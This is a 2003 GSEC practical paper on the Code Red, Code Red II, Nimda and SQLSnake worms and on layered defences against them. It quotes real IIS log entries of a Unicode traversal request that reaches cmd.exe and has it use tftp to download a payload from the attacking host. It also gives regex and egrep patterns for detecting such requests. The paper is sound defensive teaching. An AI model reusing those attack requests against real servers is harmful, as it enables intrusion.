GSEC Practical
Version 1.4b, Option 1
Matt Yackley
January 15, 2003

Worms don’t care if you’re “not a bank”

How many times have you been told, “You worry too much about security, it’s not like we’re a bank”? Or perhaps you’re the one that has said something similar when the issue of network security came up. Attitudes like this are one of the biggest reasons why worms have been and continue to be so successful. Worms don’t care who you are, whether you are a major financial institution or just a home user. If you have a system connected to the Internet you are at risk. In order to illustrate this we’ll examine four major worms: Code Red, Code Red II, Nimda and SQLSnake, discuss the scope of the problem, its effect on your systems and some steps to prevent you from becoming yet another statistic.

Real World Statistics

Let’s start by taking a look at some alarming statistics that were gathered from my employer’s production network. My employer is a medium size company that I would not label as a high priority target. The external portion of the network consists of 10 public addresses. Data was obtained from the firewall, external network intrusion detection system and IIS server logs. These statistics cover August 1-31, 2002.

First we’ll take a look at traffic pertaining to the SQLSnake worm that hit the Internet on May 20, 2002. After removing some false positives from the port scan log files generated by Snort we had a total of 4,723 alerts. Filtering this list of alerts on TCP port 1433 we have 1,143 attempts to connect to port 1433. Since we do not have any ports open to 1433 we can assume that none of these connection attempts are valid. Here we have a case of a network that does not use 1433 publicly, yet 24 percent of port scans are related to the SQLSnake worm or by people manually trying to take advantage of this known exploit.

A look at the number of attacking machines that try to run UNICODE exploits to get at cmd.exe shows the following information. Four hundred seventy-four unique IP addresses attempted to access cmd.exe in August, generating over 16,000 alerts for cmd.exe. There were also 1,098 alerts for root.exe. Many of these machines visited more than once over the course of the month.

If we were to place an un-patched, vulnerable IIS system on the external network, just by going off of the number of unique addresses, on average we could expect the machine to be compromised with 2 hours. A vulnerable SQL server would, on average last about 4 hours before being compromised. These numbers illustrate that anyone, not just big businesses or financial institutions, connected to the Internet can become a rather busy target for random scanning worms.

Infection Rates

Between July 12, 2001 and July17, 2001 Code Red infected at least 10,000 hosts [1]. On July 19, 2001 Code Red version 2 hit the Internet and infected over 359,000 machines in under 14 hours; at the high point it was infecting over 2,000 hosts per minute [2]. Between 12:00 GMT September 18 and 17:00 GMT September 19 Nimda had infected over 450,000 unique hosts [3]. Between May 20-21, 2002, SQLSnake, also called SQLSpida, had infected over 2,400 hosts and had attacked nearly 74,000 machines [4].

Brief Overview of Code Red, Code Red II, Nimda and SQLSnake

Code Red - Released July 12, 2001

Code Red (CR) utilizes a buffer overflow exploit in the .ida (Indexing Service) ISAPI filter, in the following versions of Microsoft's Internet Information Server (IIS): Windows NT 4.0 IIS 4.0, Windows 2000 IIS 5.0, and Windows XP beta IIS 6.0 beta [5]. The infection begins when a HTTP request is sent to the target system that overruns the .ida buffer; the worm's code is extra data that is placed into system memory where it is then executed. CR checks for the presence of the c:\notworm file; this check is designed to keep the infected system from being re-infected. The worm then moves to the next stage, starting 99 threads that are designated to try to connect to random IP addresses in order to assault them with .ida buffer overflow. If the date when checked is from the twentieth to the end of the month, the worm moves into the next stage. It attempts to open a connection to port 80 of the IP address that was then assigned to www.whitehouse.gov and sends 100,000 bytes of data, one byte at a time in an attempt to create a Distributed Denial of Service attack (DDoS). CR also starts one thread to check the local language setting of the system; if the codepage is English (US) the thread sleeps for two hours. After two hours the thread wakes up and defaces the default web page to display, "Hacked by the Chinese!", the thread then sleeps for 10 hours before removing the defaced page. [6]

On July 19, 2001, Code Red version 2 (CRv2) was released. The only difference between CR versus CRv2 is that the original worm contained a static seed number so that the "random" IP address generation was flawed. This resulted in the re-scanning and re-infection of the same systems. With the new random seed in CRv2, attacking systems now spread to many new addresses in a much quicker manner. With the new flurry of scans going on, a side effect was that many web-enabled devices that were not affected by the .ida exploit still crashed under the volume of requests that they did not know how to process. It should be noted that both versions of CR were memory-resident so rebooting the machine could clean them; however they could still be re-infected until the proper patch was applied. Incidentally the patch required to solve this problem had been available since June 18, 2001. [2]

Code Red II – Released August 4, 2001

Code Red II (CRII) uses the same buffer overflow vulnerability as CR, but CRII is not just another variant of CR, it is definitely a separate worm. One difference between the two is the padded string designed to overrun the boundaries in the.ida buffer; CRII uses Xs instead of Ns, which is one way to tell incoming packets apart. Another major difference between the two is the affected systems: with CRII Windows 2000 IIS 4 & 5 can be compromised; Windows NT 4.0 IIS 4 &5 can experience system crashes; and Cisco 600 series DSL routers have an unrelated vulnerability that cause them to stop forwarding packets. [7]

Once the initial infection occurs, CRII first checks to see if the system has already been infected. If not, it then continues. CRII creates 300 threads (600 on Chinese systems) that scan semi-random addresses in an attempt to spread. It also copies cmd.exe into the Scripts & MSADC IIS folders. The worm's next step is to create trojan copies of its code in c:\explorer.exe and d:\explorer.exe; these trojan copies will call the real explorer.exe after they run. The trojan explorers can then be re-run every time the system restarts. The last task of the trojan explorers is to disable Windows 2000 System File Checker feature and maps c:\ & d:\ to the virtual web paths of /c and /d. The virtual drive mappings provide yet another way to access cmd.exe and run commands via a HTTP request.

The semi-random IP scanning in CRII favors "close" systems, which help to infect other machines at a faster rate as large numbers of systems are located in similar netblocks. An infected machine will scan random addresses one in eight times; addresses within the same class B range three in eight times; and addresses within the same class A range one in two times. This increases the infection rate once it makes it into a large corporate LAN or a large ISP that has a high concentration of hosts. [8] [9]

Nimda – Released September 18, 2001

Nimda went beyond previous worms by using many different infection vectors including attacks that attempt to take advantage of backdoors left behind by CRII and Sadmind infections. The other new facet of Nimda was the ability to infect servers and clients. Provided is a very brief summary of the worm, full analyses may be found at [10], [11], and [12] since this is beyond the scope of this paper.

Infections can take place in any version of Windows, through auto-loaded JavaScript from infected web pages, email attachments, NetBIOS shares, UNICODE exploits and older worm backdoors. Once infected a compromised system may spread via random IP scanning, placement of its JavaScript code on all located .htm, .html, .asp pages, placing various copies of itself on the system as .dll files that will be called up when opening a Microsoft Word or WordPad document. One interesting aspect is once infected via an unpatched IIS server it will attempt to use TFTP to download its payload from the attacking system.

The random IP address scanning is similar to CR II with a few differences. This worm favors "close" systems even more so than CRII. It will scan random addresses one in four times; addresses within the same class A range one in four times; addresses within the same class B range one in two times. In sites that have multiple infected systems this concentrated scanning could cause ARP floods and use large amounts of bandwidth.

SQLSnake – Released May 20, 2002

SQLSnake uses a different type of exploit that should never be allowed to exist. Default installations of Microsoft SQL Server come with the SQL Administrator (SA) account that has a NULL password. Infected systems scan random IP addresses for TCP port 1433; once a connection is made the worm attempts to log in to the SA account with a NULL password. If successful, the worm uses built-in system commands within SQL to enable (if disabled) the guest account, set a password, and add the account to the administrator groups. It then copies its full payload to the system and disables the guest account. After this is done it sets a password on the SA account.

Once the worm is active on the local system it attempts to email a copy of the SAM database, network configuration, and other SQL configuration information to the email address ixtld@postone.com. It also begins scanning other IP addresses in an attempt to infect other systems. Once again this can cause high levels bandwidth usage. Later variants used different embedded SQL commands and replaced various files along with a better scanning logic that would exclude the private address ranges included in RFC 1918 and the 127. range.

Lastly, although SQLSnake seems to be primarily a server only problem, this is not the case. The Microsoft SQL Desktop Engine (MSDE) is also vulnerable to this worm. Access 2000, Visio 2000 Enterprise, Visual Studio 6 and Project Central can install MSDE. As in the case of SQL Server 7, MSDE also installs with a NULL password by default. [13]

Script Kiddies

One of the other threats that popular worms like CRII and Nimda pose is that once a machine is infected and the backdoors are in place anyone can then compromise your system even further. Sometimes, once exploits like the Unicode Directory Transversal become well known it doesn't take long for people to write scripts that try to take advantage of these flaws. Scripts such as unichk will try 224 different strings to attempt to reach a copy of cmd.exe or root.exe [14]. I have seen some scans that run over 400 different strings in an attempt to get at cmd.exe. A common script kiddie problem is illustrated in a recent incident from my employer's network. After seeing a large scan that generated over 2,000 alerts, the offending address was found to belong to a city government system in California. After looking up the address in question on an attack correlation site, it appeared that this system generated Nimda style traffic previously. One can only assume that the system was compromised from a worm and then left undetected or repaired. Most likely a script kiddie exploited this backdoor in order to use it as a base of operations to scan random systems looking for web application exploits.

Side Effects

Some of the immediate side effects of the worms are bandwidth usage, service interruptions and blacklisting, not to mention time and money required to repair infected systems. With all of the threads scanning other systems, networks can begin to see slow downs due to worm traffic. Depending on how many scans they were receiving or how many systems on their network were actively scanning other hosts, network connections can be totally saturated. This can stop valid outgoing and incoming traffic such as email, web or FTP. Some companies even pulled their network off the Internet, either to stop their systems from attacking others or just to protect their as of yet un-infected systems. A longer-term problem is that an undetected compromised machine can cause your network to be blacklisted by others who detect attacks emanating from your network. Even more dangerous is that someone could use a backdoor to use you system as a platform to attack others. In the near future we will most assuredly see some corporation in legal trouble due to the fact that they did not perform due diligence and their systems were used to attack someone else's system.

Besides the reduced bandwidth available to users, unreachable sites, etc. there were other unplanned effects. Certain equipment such as Cisco 600 DSL routers would lock up due to un-related vulnerabilities. This caused some DSL users experience a DoS attack that was fixed by power cycling the routers every time they were scanned and locked up. This was not the only piece of Cisco's equipment that was affected [7]. Other equipment included some HP JetDirect cards that when running old firmware, would cause the printers to print diagnostic pages then lock up when scanned [15].

One of the lesser-known side effects from CRII and Nimda was the global routing issues caused by the amount of scan traffic and network shutdowns. Events such as cut fiber lines, power problems at Telco facilities, outages caused by things like the World Trade Towers collapse and the Baltimore train tunnel wreck did not cause worldwide issues with core Internet routing. Instead these events are usually contained within immediate peers. Typically these types of events would cause an increase in BGP traffic that goes back to normal levels within seconds or minutes. Research points to a worldwide problem with Border Gateway Protocol (BGP) routing tables that occurred when these worms started propagating across the Internet. [16]

In the wake of CR II and Nimda, BGP prefix updates and withdrawals rose to elevated levels and remained at those levels for a much longer time. In the case of CR II this rise in announcements lasted about eight hours; for Nimda the effects lasted for several days. Peering BGP routers at RIPE NNC saw Nimda-generated traffic causing announcements that rose from the normal rate of 400 per minute to over 10,000 per minute, with a few high surges of over 200,000 per minute. Evidence points to a worldwide wave of routing instability that was hitting the Internet's BGP routing tables. This is yet another reason why worms are everyone's problem, no matter how big or small the system. [16]

Perhaps the most arguable ill effect of a worm attack is the cost of time and money. For example, "The economic cost of the original Code Red worm and its more malicious cousin, Code Red II, has risen to more than US$2 billion, according to research company Computer Economics." [17]

The Future of the Worm

Researchers have begun to look at how worm authors can better code their worms to exponentially increase the speed at which worms spread. If the speeds that are being theorized are ever attained and the worm authors started including destructive payloads, the Internet community is going to be in trouble. One of the reasons that most worms are not that destructive is that they need time to spread. One way to think of this is to compare worms to a biological virus like Ebola. Due to the fact that Ebola is so deadly and it manifests itself so quickly it has adapted to become very communicable. If new worms obtain the ability to infect an immense number of hosts in a tiny amount of time, then a destructive payload could be employed with disastrous consequences.

Nicholas Weaver coined the phrase “Warhol Worm” in reference to Andy Warhol’s quote “In the future, everybody will have 15 minutes of fame”. Nicholas has developed a theory on how to create a worm that could spread to over 1,000,000,000 machines in under 15 minutes. A Warhol Worm would use a previously gathered list of 10,000-50,000 possibly vulnerable machines to reach a critical scanning rate within minutes. With a worm that spreads at this speed, the author could include destructive payloads that could be set to trigger after only 30 minutes or a few hours. This just isn’t enough time for human intervention to stop and repair the infections before the damage is done. [18]

Researchers at Silicon Defense have taken Nicholas’s theory a step further. Their theory is called a “Flash Worm” that could infect all vulnerable machines within 30 seconds. By utilizing some different methods they would start with a list of almost all vulnerable machines on the Internet. This would remove the need to scan for machines to infect. Instead the worm would have a mechanism to download part of the list and proceed to attack specific addresses. [19]

While some people disagree with these theories of superworms, it is likely that in the future worms will spread at a more rapid pace [20]. Perhaps the next major worm will have a more destructive payload than the side effects observed from CR, CRII, Nimda and SQLSnake. Because human intervention will become too slow to handle the outbreak of the next generation of worms, prevention needs to become a priority.

Prevention / Defense in Depth (DiD)

A good DiD strategy begins at the perimeter. Border routers can be configured to drop all traffic on ports such as 80 (if not in use), 137, 138, 139, 445 and 1433 (if not in use). A firewall that employs both stateful and application scanning technology should be used. The firewall should also have the ability to function as a Demilitarized Zone (DMZ) in case budget constraints prohibit the use of a separate firewall for public servers. If possible there should be no non-internally initiated incoming traffic allowed into the private portion of the network. Incoming traffic for public servers should be limited to only those ports that are actually being used. Consider using a firewall that can utilize URL pattern filtering, i.e, HTTP requests such as /(root|cmd|shell|cmd1)\.exe can be used to filter out UNICODE exploits before they reach the web server. Egress rules should be created at the firewall or border, default behavior should be to block all outbound traffic that isn’t explicitly allowed. Intrusion Detection Systems (IDS) can be deployed to help determine the effectiveness of the preceding layers, as well as provide much needed detection and logging of events.

Remove unused services from all systems. Windows Server 2000 installs IIS by default, but how many 2000 servers are really using IIS? All IIS servers should be running Microsoft’s

URLScan and IISLockdown. Keep systems fully patched; CR, CRII and Nimda used exploits that had patches available that would have prevented infection. Policies and procedures should be put into place that cover how a new server is set up. A server should not be placed on the Internet before it is fully patched. Other items covered in the policy could be; password complexity, changing default passwords, password age limits, patch management and types of services allowed run.

Anti-virus (AV) is a must as well. Nimda's mass emailing infection vector can be stopped with proper AV software in place. Any email server should be protected by running email through a AV scanner before delivering it to the server. All servers should have AV software installed, as well as every desktop. On systems running a mail client, the AV software should have the ability to scan email messages and attachments. Software should be configured so that AV definitions are updated automatically on a regular basis. Preferably the AV solution should include centralized control, alerting and quarantine.

By utilizing DiD we protect ourselves by putting multiple layers of defense in place; the more layers you can provide, the more you'll be able to rest easy and spend more time improving your network rather than dealing with emergencies.

Example of how DiD works against a Unicode Directory Transversal attack:

Our first step will be at the firewall: incoming port 80 traffic will only be re-directed to web servers. If the destination IP address is not a web server then we drop the packet at the firewall. If our firewall allows for URL pattern matching we'll set up filters and apply them to the rules that allow incoming web requests. One particularly useful regex strings is /(cmd|shell|root|cmd1)\.exe\?, If the GET or HEAD request contains this string then the connection is refused. This should then catch just about all attempts to access cmd.exe via HTTP.

If the packet is still able to make it to the web server then we have URLScan waiting, we have another layer that examines the contents of the request and will drop connections that match. Assuming that the firewall and URLScan failed, we can finally stop the request by running fully patched servers. Properly patched servers should not vulnerable to the Unicode Directory Transversal attack; hence our server will refuse the request. The last defense to put in place is the block placed on TFTP traffic at the firewall. Even if the worm was able to pass all other defenses and launched a TFTP connection to download the full payload of the worm, that outgoing connection would be stopped trying to leave the firewall.

Never rely on one mechanism to provide defense because you never know when something will fail to work, as it should. By layering our defenses you can see that we could have several different failures and still be able to stop the attack. We can see an example of DiD in action during an incident that occurred in June 2002. Below are the actual log entries from the web server and firewall.

Here we can see that the URL pattern filtering failed at the firewall and sent the request to the web server. This also shows the next failure; for some unknown reason on the night or morning of June 5-6, the IIS server started answering these types of requests. It had not done this before and only did so for about six hours.

```
2002-06-06 10:13:24 12.x.x.x - x.x.x.180 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 200 –
```

Now that the attacking machine knows that it can access cmd.exe it then requests a TFTP download of the payload. The attempt to download the .dll file resulted in a 502 error.

```
2002-06-06 10:13:25 12.x.x.x - x.x.x.180 80 GET /scripts/..%5c../winnt/system32/cmd.exe
/c+tftp%20-i%2012.x.x.x%20GET%20cool.dll%20c:\httpodbc.dll 502 –
```

Finally we can see from the firewall log what caused the 502 error. There weren't any rules allowing TFTP connections, so the firewall refuses the connection.

```
Jun 06 05:27:58.188 x kernel[0]: 232 Sending ICMP port unreachable. Original packet (x.x.x.180->12.x.x.x:
Protocol=UDP Port 1729->69) received on interface x.x.x.2
```

An easy method to check IIS logs is to use GNU Utilities for Win 32. This package contains grep, a great utility for searching for text strings and returning lines that it matches. Using the following commands you can get a great view of how many requests you are receiving. Switch to the directory where your IIS logs are stored and try the following commands.

To check the number of attempts: `egrep “\/(cmd|cmd1|root|shell)\.exe” –U –r *.log`

To check for successful attempts: `egrep “\/(cmd|cmd1|root|shell)\.exe” –U –r *.log | egrep “ 200 –“ –U`

A couple of other variations to check just on the number of TFTP requests:

To check the number of attempts: `egrep “\/tftp\.exe” –U –r *.log`

To check for successful attempts: `egrep “\/tftp\.exe” –U –r *.log | egrep “ 200 –“ –U`

In his paper “A Brief History of the Worm” published on Security Focus, Nicholas Weaver makes a statement that I think every network administrator should take to heart.

> “Just as one should have contingency plans in case of fire, those plans must also include worm attacks. There is no theoretically perfect defense against malicious worms: we can take steps to reduce their spread, prevent damage, audit code for security holes, construct solid firewalls, and maintain regular backups, but in the end, we need to accept that it is possible for someone following the lessons of past worms to create something highly disruptive and destructive. One should always assume that, in the end, one's computers may be highly disrupted by an electronic attack. To deny this would be folly.” [21]

In conclusion, worms pose a serious threat to all systems great and small. The analysis of several rampant worms like CR, CRII, Nimda and SQLSnake demonstrates the nefarious effects on vulnerable systems. These effects include web site defacement, reduced available bandwidth, system shutdowns, service interruptions, installation of backdoors, theft of system passwords and the like. All these effects result in tangible losses of money and time. Frustratingly, patches and preventative measures were available before the release of three of the four worms discussed; the fourth worm, SQLSnake, merely took advantage of basic installation defaults and system administrator ignorance. That simple fact underscores the importance and necessity of strategies like DiD. DiD puts into practice a deceptively simple strategy: the more layers in place, the less likely a system will be compromised and therefore more secure. The DiD outlined here includes router ACLs; firewalls; IDS; miscellaneous security add-ons; thorough policies on configuration, passwords and services; and AV. A real life example of DiD in action demonstrated its effectiveness in preventing infection. Systems from the home user to the large corporation are susceptible to worms; a layered defense helps to mitigate the susceptibility and its after-effects. It's only a matter of time before the next major worm is released and starts spreading across the Internet. It has already been established that if you have systems connected to the Internet, you are at risk. The time to plan for the next worm is now; with proper planning the damage from the next worm can be kept at a minimum.

Additional Resources

GNU Utilities for Win32 http://unxutils.sourceforge.net/

IISLockdown http://www.microsoft.com/technet/security/tools/tools/locktool.asp

URLScan http://www.microsoft.com/technet/security/tools/tools/urlscan.asp

Snort http://www.snort.org

myNetWatchman http://www.mynetwatchman.com/

List of References

[1] Lemos, Rob "Code Red: What went wrong?" ZDNet News. 27 July 2001. http://www.zdnet.com/filters/printerfriendly/0,6061,2799069-2,00.html

[2] Moore, David. "The Spread of the Code Red Worm (CRv2)." CAIDA. 14 June 2002. http://www.caida.org/analysis/security/code-red/coderedv2_analysis.xml

[3] "Dynamic Graphs of the Nimda worm." CAIDA. 18 September 2001. http://www.caida.org/dynamic/analysis/security/nimda/

[4] Millard, Elizabeth. "SQL Server Worm: Just the Beginning." News Factor Network. 22 May 2002.
http://www.newsfactor.com/perl/story/17893.html

[5] Hassell, Riley and Permeh, Ryan. "eEye Advisory 20010618." eEye Digital Security. 18 June 2001.
http://www.eeye.com/html/Research/Advisories/AD20010618.html

[6] Permeh, Ryan and Maiffret, Marc. “eEye Advisory 20010717.” eEye Digital Security. 17 July 2001.
http://www.eeye.com/html/Research/Advisories/AL20010717.html

[7] “’Code Red’ Worm – Customer Impact.” Revision 2.3. Cisco Security Advisory. 01 November 2001.
http://www.cisco.com/warp/public/707/cisco-code-red-worm-pub.shtml

[8] Permeh, Ryan and Maiffret. “eEye Advisory 20010804.” eEye Digital Security. 04 August 2001.
http://www.eeye.com/html/Research/Advisories/AL20010804.html

[9] Danyliw, Roman, et al. “’Code Red II’: Another Worm Exploiting Buffer Overflow in IIS Indexing Service DLL.” CERT Coordination Center. 6 August 2001.
http://www.cert.org/incident_notes/IN-2001-09.html

[10] Frey, Kevin G. “The Legend of Nimda.” SANS Reading Room. 25 September 2001.
http://www.sans.org/rr/malicious/nimda.php

[11] Mackie, Andrew, et al. “Nimda Worm Analysis.” Version 2 Security Focus. 21 September 2001
http://aris.securityfocus.com/alerts/nimda/010919-Analysis-Nimda.pdf

[12] SANS Institute “Nimda Worm/Virus Report – Final.” Incidents.org. 3 October 2001
http://www.incidents.org/react/nimda.pdf

[13] Dougherty, Chad and Householder, Allen “Exploitation of Vulnerabilities in Microsoft SQL Server.” CERT Coordination Center. 23 May 2002
http://www.cert.org/incident_notes/IN-2002-04.html

[14] “unichk exploit script.” Packet Storm.
http://209.100.212.5/cgi-bin/search/search.cgi?searchvalue=unichk&type=archives

[15] Klemencic, Joe. “Code Red Infecting HP JetDirect - Not Exactly.” 03 August 2001.
http://archives.neohapsis.com/archives/incidents/2001-08/0067.html

[16] Cowie, James, et al. “Global Routing Instabilities During Code Red II and Nimda Worm Propagation -Preliminary Report.” Renesys Corporation. 19 September 2001.
http://www.renesys.com/projects/bgp_instability/

[17] DeLong, Daniel F. “Code Red Virus ‘Most Expensive in History of Internet.’” NewsFactor Network. 9 August 2001.
http://www.newsfactor.com/perl/story/12668.html

[18] Weaver, Nicholas C. “Warhol Worms: The Potential for Very Fast Internet Plagues.” 13 February 2002.

http://www.cs.berkeley.edu/~nweaver/warhol.html

[19] Staniford, Stuart, et al. “Flash Worms: Thirty Seconds to Infect the Internet.” Silicon Defense. 16 August 2001.
http://www.silicondefense.com/flash/

[20] Dyson, Jay D. “What Me Worry (about the Warhol Worm)?”
http://www.treachery.net/~jdyson/what_me_worry.html

[21] Weaver, Nicholas C. “A Brief History of the Worm.” Security Focus Online. 26 November 2001.
http://online.securityfocus.com/infocus/1515